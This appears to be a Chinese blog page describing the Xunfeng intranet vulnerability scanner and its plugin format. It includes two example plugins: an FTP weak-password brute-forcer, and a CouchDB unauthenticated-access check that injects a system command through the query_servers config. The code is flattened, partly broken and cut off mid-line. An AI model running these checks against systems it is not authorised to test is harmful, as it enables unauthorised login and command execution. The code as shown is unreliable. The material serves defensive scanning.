赞
踩
·
巡风
https://github.com/ysrc/xunfeng
http://x:8000/login
https://blog.csdn.net/hl1293348082/article/details/123865548
https://blog.csdn.net/weixin_42417767/article/details/102859978
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
支持多平台安装,包括windows、linux、OSX、docker
1.查看内部网络资产分布
2.指定漏洞插件对搜索结果进行快速漏洞检测
3.并输出结果报表
·
①网络资产识别:
通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),
并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。
②漏洞检测引擎
根据用户指定的任务规则进行定期或者一次性的漏洞检测,
其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。
资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。
所以比如开启某个漏扫任务,可能没法马上开始。
任务模块化,结构化的思维
项目比较完整
漏洞插件支持2种类型,json标示与python脚本,
可以通过官方推送渠道安装或者自行添加。
插件标准非常简洁,
只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。
使用例子:
import ftplib def get_plugin_info(): # 插件描述信息 plugin_info = { "name": "FTP弱口令", "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。", "level": "高危", "type": "弱口令", "author": "wolf@YSRC", "url": "", "keyword": "server:ftp", # 推荐搜索关键字 } return plugin_info def check(ip, port, timeout): # 漏洞检测代码 user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web'] for user in user_list: for pass_ in PASSWORD_DIC: # 密码字典无需定义,程序会自动为其赋值。 pass_ = str(pass_.replace('{user}', user)) try: ftp = ftplib.FTP() ftp.timeout = timeout ftp.connect(ip, port) ftp.login(user, pass_) if pass_ == '': pass_ = 'null' if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录" return u"存在弱口令,账号:%s,密码:%s" % (user, pass_) # 成功返回结果,内容显示在扫描结果页面。 except: pass import urllib2 import random import socket def get_plugin_info(): # 插件描述信息 plugin_info = { "name": "CouchDB未授权访问", "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。", "level": "高危", "type": "未授权访问", "author": "wolf@YSRC", "url": "", "keyword": "server:couchdb", # 推荐搜索关键字 } def get_ver_ip(ip): csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) csock.connect((ip, 80)) (addr, port) = csock.getsockname() csock.close() return addr def random_str(len): str1="" for i in range(len): str1+=(random.choice("ABCDEFGH1234567890")) return str(str1) def check(ip,port,timeout): rand_str = random_str(8) cmd = random_str(4) server_ip = get_ver_ip() req_list = [ ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)], ["/vultest123",''], ["/vultest123/test",'{"_id":"safetest"}'] ] for req_info in req_list: try: request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout) request.get_method = lambda: 'PUT' urllib2.urlopen(request) except: pass try: req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd)) req_exec
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。